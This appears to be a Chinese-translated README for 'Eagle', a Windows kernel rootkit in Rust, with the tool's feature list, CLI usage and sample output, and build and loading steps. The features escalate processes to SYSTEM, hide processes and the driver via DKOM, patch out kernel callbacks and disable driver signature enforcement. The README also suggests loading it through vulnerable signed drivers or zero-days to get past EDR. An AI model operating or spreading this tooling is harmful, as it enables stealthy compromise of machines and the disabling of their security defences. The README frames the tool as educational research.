Rusty Rootkit - Windows Kernel Rookit in Rust (Codename: Eagle)
| 文件 | 最后提交记录 | 最后更新时间 |
|---|---|---|
| 4 年前 | ||
| 4 年前 | ||
| 3 年前 | ||
| 3 年前 | ||
| 4 年前 | ||
| 3 年前 | ||
| 3 年前 | ||
| 4 年前 | ||
| 4 年前 | ||
| 3 年前 | ||
| 3 年前 |
Rust 中的 Windows 内核木马(代号:鹰)
博客地址:https://memn0ps.github.io/rusty-windows-kernel-rootkit/
功能特性(开发中)
- 进程保护与取消保护(完成)
- 升级权限至 NT AUTHORITY\SYSTEM,并启用所有令牌特权(完成)
- 隐藏进程(完成)
- 隐藏驱动程序(完成)
- 列举加载的内核模块(完成)
- 列举及移除内核回调
- PsSetCreateProcessNotifyRoutine(完成)
- PsSetCreateThreadNotifyRoutine(待做)
- PsSetLoadImageNotifyRoutine(待做)
- CmRegisterCallbackEx(待做)
- ObRegisterCallbacks(待做)
- 启用/禁用驱动签名强制执行(DSE)(完成)
使用方法
PS C:\Users\memn0ps\Desktop> .\client.exe -h
client 0.1.0
用途:
client.exe <子命令>
选项:
-h, --help 打印帮助信息
-V, --version 打印版本信息
子命令:
callbacks
driver
dse
help 打印此消息或给定子命令的帮助信息
process
client.exe process
用途:
client.exe process --name <进程名> [--protect | --unprotect | --elevate | --hide]
选项:
-e, --elevate 提升所有令牌特权
-h, --help 打印帮助信息
--hide 使用直接内核对象操作(DKOM)隐藏进程
-n, --name <进程名> 目标进程名称
-p, --protect 保护一个进程
-u, --unprotect 取消保护一个进程
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks -h
用途:
client.exe callbacks [--enumerate | --patch <补丁>]
选项:
-e, --enumerate 列举内核回调
-h, --help 打印帮助信息
-p, --patch <补丁> 补丁内核回调0-63
PS C:\Users\memn0ps\Desktop> .\client.exe dse -h
用途:
client.exe dse [--enable | --disable]
选项:
-d, --disable 禁用驱动签名强制执行(DSE)
-e, --enable 启用驱动签名强制执行(DSE)
-h, --help 打印帮助信息
PS C:\Users\memn0ps\Desktop> .\client.exe driver -h
用途:
client.exe driver [--hide | --enumerate]
选项:
-e, --enumerate 列举加载的内核模块
-h, --help 打印帮助信息
--hide 使用直接内核对象操作(DKOM)隐藏驱动程序
列举和修补内核回调
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --enumerate
总内核回调数:11
[0] 0xffffbd8d3d2502df ("ntoskrnl.exe")
...
[10] 0xffffbd8d43afb63f ("Eagle.sys")
PS C:\Users\memn0ps\Desktop> .\client.exe callbacks --patch 10
[+] 回调成功修补于索引10
再次列举时,可以看到回调数量减少。
保护/取消保护进程
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --protect
[+] 进程成功保护 2104
(此处应附上“notepad_protect.png”图示)
PS C:\Users\memn0ps\Desktop> .\client.exe process --name notepad.exe --unprotect
[+] 进程成功取消保护 2104
(此处应附上“notepad_unprotect.png”图示)
升级到 NT AUTHORITY\SYSTEM 并启用所有令牌特权
运行whoami /all前后的结果对比显示用户原本的详细信息,随后通过客户端提升 PowerShell 进程的权限,实现特权升级。
PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --elevate
[+] 权限令牌成功升级 6376
这个工具展示了一系列高级内核级别的操作能力,用于教育目的和系统安全研究,务必在受控环境中使用。
在用户目录桌面上运行命令:
# 显示当前用户的详细信息
PS C:\Users\memn0ps\Desktop> whoami /all
## 用户信息
-----------------
用户名 安全标识符(SID)
================== ========
nt authority\system S-1-5-18
## 组信息
-----------------
组名 类型 SID 属性
====================================== ================ ============ ==================================================
内置\管理员s 别名 S-1-5-32-544 默认启用,启用的组,组所有者
所有人 已知组 S-1-1-0 强制性组,默认启用,启用的组
NT AUTHORITY\已验证的用户s 已知组 S-1-5-11 强制性组,默认启用,启用的组
强制标签\系统强制级别标签 强制标签 S-1-16-16384
## 特权信息
-----------------
特权名称 描述 状态
========================================= ================================================================== =======
创建令牌特权 创建令牌对象 启用
分配主要令牌特权 替换进程级令牌 启用
锁定内存特权 锁定页面在内存中 启用
增加配额权限 调整进程的内存配额 启用
TCB特权 作为操作系统的一部分工作 启用
安全权限 管理审核和安全日志 启用
取得所有权权限 获取文件或其他对象的所有权 启用
加载驱动程序特权 加载和卸载设备驱动程序 启用
系统配置权限 性能分析系统性能 启用
系统时间权限 更改系统时间 启用
单个过程配置权限 配置单个进程 启用
增加基本优先级权限 增加调度优先级 启用
创建交换文件权限 创建交换文件 启用
创建永久性权限 创建永久共享对象 启用
备份权限 备份文件和目录 启用
恢复权限 恢复文件和目录 启用
关机权限 关闭系统 启用
调试权限 调试程序 启用
审核权限 生成安全性审核 启用
系统环境权限 修改固件环境值 启用
更改通知权限 跳过遍历检查 启用
解除坞站权限 从坞站移除计算机 启用
管理卷权限 执行卷维护任务 启用
模拟权限 认证后代表客户端操作 启用
创建全局权限 创建全局对象 启用
受信任的credman访问权限 以受信任的调用者身份访问凭据管理器 启用
重新标记权限 修改对象标签 启用
增加工作集大小权限 增加进程的工作集 启用
时区权限 改变时区 启用
创建符号链接权限 创建符号链接 启用
委托会话用户模拟权限 在同一会话内为另一用户获取模拟令牌 启用
PS C:\Users\memn0ps\Desktop>
以下是关于启用和禁用驱动程序签名执行(DSE)以及隐藏进程和驱动程序的示例。
开启驱动程序签名执行(DSE)
PS C:\Users\memn0ps\Desktop> .\client.exe dse --enable
返回字节数:16
[+] 驱动程序签名执行(DSE)已开启:0x6
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 06
关闭驱动程序签名执行(DSE)
PS C:\Users\memn0ps\Desktop> .\client.exe dse --disable
返回字节数:16
[+] 驱动程序签名执行(DSE)已关闭:0xe
0: kd> db 0xfffff8005a6683b8 L1
fffff800`5a6683b8 0e
隐藏进程

PS C:\Users\memn0ps\Desktop> .\client.exe process --name powershell.exe --hide
[+] 进程成功隐藏:6376

隐藏驱动
从 ZwQuerySystemInformation 和 PsLoadedModuleList 中隐藏
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
总模块数:185
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<...省略...>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[184] 0xfffff80055720000 "Eagle.sys"
[+] 已成功枚举加载的模块
PS C:\Users\memn0ps\Desktop> .\client.exe driver --hide
[+] 驱动程序已成功隐藏
PS C:\Users\memn0ps\Desktop> .\client.exe driver --enumerate
总模块数:184
[0] 0xfffff80058c00000 "ntoskrnl.exe"
[1] 0xfffff80054d20000 "hal.dll"
<...省略...>
[180] 0xfffff80054600000 "KERNEL32.dll"
[181] 0xfffff80054200000 "ntdll.dll"
[182] 0xfffff800553f0000 "KERNELBASE.dll"
[183] 0xfffff800556f0000 "MpKslDrv.sys"
[+] 已成功枚举加载的模块
安装 Rust
要开始使用 Rust,请访问 Rust 安装指南,然后下载安装程序并按照屏幕上的指示进行操作。如果提示您这样做,可能需要安装 Visual Studio 的 C++ 构建工具。
更改 Rust 频道
安装并切换到 Rust 夜间版本
rustup toolchain install nightly
rustup default nightly
安装 cargo-make
安装 cargo-make
cargo install cargo-make
安装WDK/SDK
- 安装Visual Studio 2019
- 安装Windows 11 SDK(版本22000.1)
- 安装Windows 11 WDK
编译驱动程序
进入.\driver\目录并编译驱动程序。
cargo make sign
编译客户端
切换到.\client\目录并构建客户端。
cargo build
启用“测试模式”或“测试签名”模式
bcdedit /set testsigning on
[可选] 使用Windbg进行调试
bcdedit /debug on
bcdedit /dbgsettings net hostip:<IP地址> port:<端口>
创建/启动服务
你可以使用服务控制管理器(Service Control Manager)或OSR驱动加载器来加载你的驱动程序。
PS C:\Users\memn0ps> sc.exe create Eagle type=kernel binPath=C:\Windows\System32\Eagle.sys
[SC] CreateService 成功
PS C:\Users\memn0ps> sc.exe query Eagle
服务名称: Eagle
类型 : 1 内核驱动程序
状态 : 1 停止
WIN32退出代码 : 1077 (0x435)
服务退出代码 : 0 (0x0)
检查点 : 0x0
等待提示 : 0x0
PS C:\Users\memn0ps> sc.exe start Eagle
服务名称: Eagle
类型 : 1 内核驱动程序
状态 : 4 运行中
(可停止,不可暂停,忽略关机)
WIN32退出代码 : 0 (0x0)
服务退出代码 : 0 (0x0)
检查点 : 0x0
等待提示 : 0x0
进程ID : 0
标志 :
PS C:\Users\memn0ps> sc.exe stop Eagle
服务名称: Eagle
类型 : 1 内核驱动程序
状态 : 1 已停止
WIN32退出代码 : 0 (0x0)
服务退出代码 : 0 (0x0)
检查点 : 0x0
等待提示 : 0x0
当前,此驱动程序不支持手动映射。然而,一种替代方法是利用已加载的签名驱动程序中的现有CVE漏洞(如Intel或Capcom驱动),尽管易受攻击的驱动程序很容易被EDRs或ACs标记。
- GitHub: kdmapper - IQVW64E.SYS(Intel驱动程序)
- GitHub: drvmap - Capcom.SYS(Capcom驱动程序)
- GitHub: kdmapper-rs
或者,你可以获取由Microsoft提供的扩展验证(EV)代码签名证书,这需要通过一个审查流程,或使用零日漏洞,后者完全取决于个人选择。
注意
编写Windows内核驱动程序的更好方式是创建绑定,如以下参考资料所示。但使用他人的绑定会隐藏底层功能,因此我采用了经典的方法,除非你自己创建绑定。未来计划重构代码,但目前可能会有些杂乱和不完整。
本项目出于兴趣而创建,因为我对Rust和Windows内部架构非常感兴趣。显然,这还不是完美的成品。如果你希望学习更多关于Windows内核编程的知识,请参考下面的资料。编写安全、健壮的Windows内核驱动程序在Rust中的推荐方式如下:
参考资料与致谢
- not-matthias的kernel-driver-with-rust博客(特别感谢@not_matthias)
- 更多资源、书籍和个人项目链接,包括Windows内核编程、游戏逆向工程及社区贡献者,详细列表请参照原文。